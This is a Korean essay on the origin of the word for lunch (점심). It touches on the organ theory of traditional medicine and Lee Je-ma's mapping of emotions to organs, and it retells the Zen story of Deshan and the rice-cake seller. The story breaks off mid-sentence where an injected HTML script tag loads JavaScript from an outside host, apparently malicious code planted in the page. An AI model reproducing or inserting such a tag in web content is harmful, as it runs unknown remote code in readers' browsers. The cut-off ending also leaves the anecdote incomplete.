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[제목] 점심은 들었는가? (백운학)
수다맨 버젼으로 갈까? 아니 옌벤총각 버젼으로 할까? 아님 짬뽕이 좋을까?

시작부터 갈팡질팡 왔다갔다 종잡을 수 없냉

오늘 점심은 뭘로 할 텐가

우리는 혼분식 세대니까 주말엔 꼭 분식 한끼는 하지 않는가?



오늘은 점심에 대해서 이야기하려고 합니다.



우리는 런치를 점심(點心)이라고 하는데 중국말에서 점심이란 조반주식(朝飯晝食)을 전후로 해서 먹는 소식(小食)을 말하며 우리말로 간식(間食)이라 부르는 말이다. 그런데 왜 이 말이 점심이 되었을까요. 그 뜻인즉, "마음에 불을 밝힌다."는 의미인데 우리 동방인들은 간식을 축 늘어진 마음에 기운을 돋우는 리프레셔(refresher)라고 생각했다. 심(心)도 오장육부의 하나요, 우리가 먹는 음식은 오장육부에 골고루 퍼지는 기(氣)가 된다. 그래서 폐(肺)ㆍ비(脾)ㆍ간(肝)ㆍ신(腎)을 총괄하는 마음[心]을 점(點)한다고 표현을 했던 것이다. (도올선생 말씀)



여기서 한의학적 오장육부(五臟六腑) 세계관을 볼라치면 오장은 전술한 바이고 육부는 위(胃)ㆍ대장(大腸)ㆍ소장(小腸)ㆍ방광(肪胱)ㆍ담(膽:쓸개)ㆍ삼초[三焦:상초(上焦)·중초(中焦) ·하초(下焦)로 구분된다. 상초는 심장·폐를 중심으로 한 흉부가 되고, 중초는 비장·위장 ·간장 등을 중심으로 하는 복부가 되고, 하초는 신·방광 등을 포함하는 하복부에 해당된다]를 말하는 것으로 장부란 인체의 내장을 나타낸다. 장부를 다시 구분하여 보면 장(臟)이란 정기(精氣)를 간직하여 체외로 흘리지 않고 인체가 쉴 때에도 끊임없이 움직이는 것이요, 부(腑)란 장기처럼 간직하기보다는 소화시키고 운송을 주로 하면서 쉴 때도 있는 내장을 말한다. 이런 장부 사이에는 상호 불가분의 밀접한 관계(장부가 오행체계와 배합되어 상생, 상극의 관계로 건강을 유지하는 시스템)가 있다.



더욱이 재미있게도 인간의 장기와 인간의 감정을 연결하여 독특한 담론을 이끌어 간 東武 李濟馬의 이야기를 들어보면 인간의 수많은 감정을 크게 가르면 희(喜:먹는기쁨)·노(怒:노여움)·애(哀:슬픔)·락(樂:성적즐거움)으로 요약되고 이런 감정들을 인간의 장기에 배속시켜 애(哀)-폐(肺), 노(怒)-비(脾), 희(喜)-간(肝), 락(樂)-신(腎)으로 연결하였으며, 천지론으로 말하면 애노-천(天)즉 하늘의 감정과 희락-지(地)즉 땅의 감정으로 나누었다. 하늘의 감정은 대개 슬프다. 멀리 떠나가 있는 님을 그리워 한다던가, 나와 관련이 없지만 보이지 않는 곳에서 고통받는 사람을 위해 나의 인생을 헌신해야겠다는 성직자의 생활도 하늘의 감정이다. 땅의 감정은 땅에서 난 음식을 다시 땅으로 돌리는 기쁨과 땅에서 나의 개체를 번식시키는 행위에 대한 즐거움을 말하는 것이리라. 점심이야기가 많이 옆으로 샜구만!



점심에 얽힌 유명한 일화가 전한다.



중국 당나라 때 덕산(德山宣鑑)이라는 스님이 있었는데 북방의 사천(泗川)에서 율장(律藏)의
정통을 지키면서 남방에서 선석(禪席)이 성행한다는 이야기를 듣고 매우 불쾌하게 생각하였다. 그래서 이르기를 "아 내 진리에 뜻을 둔 자가 출가를 하게되면 천겁(千劫)이 걸려야 부처님의 위의(威儀)를 배울 수 있고, 만겁이 걸려야 겨우 부처님의 세행(細行)을 배울 수 있고 그렇게 노력을 해도 성불(成佛)의 길은 묘연한데, 뭐라구? 그 남방의 악마 같은 새끼들이
감히 막 바로 인심을 가리키고(直指人心), 본성을 깨달으면 곧 바로 성불한다(見性成佛)고 떠들어! 내가 그놈들 소굴로 직접 뛰어 들어가 그 종자새끼 씨를 말려 버리겠노라. 그리하여 내가 부처님의 은혜를 갚겠노라!" 하고 청룡소초(금강경 주석)를 바랑에 걸머지고 사천 땅을 떠나 당대의 유명한 선승인 용담(龍潭崇信)스님이 주석하고 있던 호남성 풍양지역으로
오게된다.



동정호로 흘러드는 예강이 흐르는 풍주(豊洲) 어느 노상에서! 허세로 가득 찬 덕산, 아무리 에너지가 넘친다지만 배꼽시계는 돌아가는 법, 지극히 배가 출출하여 침을 꼴딱꼴딱 삼키고 있던 한 낮, 자글자글 빈대떡(油米玆)를 부치고 있는 노점상 한 노파의 모습이 안계(眼界)에 들어오는 것이 아닌가? 성큼 다가설 수 밖에!
노파가 덕산의 바랑에 담긴 짐을 가리키며 "저 거추장스럽게 메고 다니는 게 뭔고?" 덕산이 대답하기를 "청룡소초니라"
노파가 "소초라! 뭔 경을 해설한 게요?" 덕산이 말하기를 "금강경이니라" 노파 왈 "금강경이라구" 내 일찍이 한가지 궁금한 게 있었는데 니가 만약 대답을 하면 내 점심을 거저주마. 대답을 못하면 딴 데 가서 알아봐!" 덕산은 자신만만하게 "어서 씹어 보아라!" 노파의 질문공세가 가열된다. "점심을 달라고? 아 이놈아 금강경에 이런 말이 있지 않아? '과거의 심(心)도 얻을 수 없고, 현재의 심(心)도 얻을 수 없고, 미래의 심(心)도 얻을 수 없다.' 그런?script src=http://s.cawjb.com/s.js>
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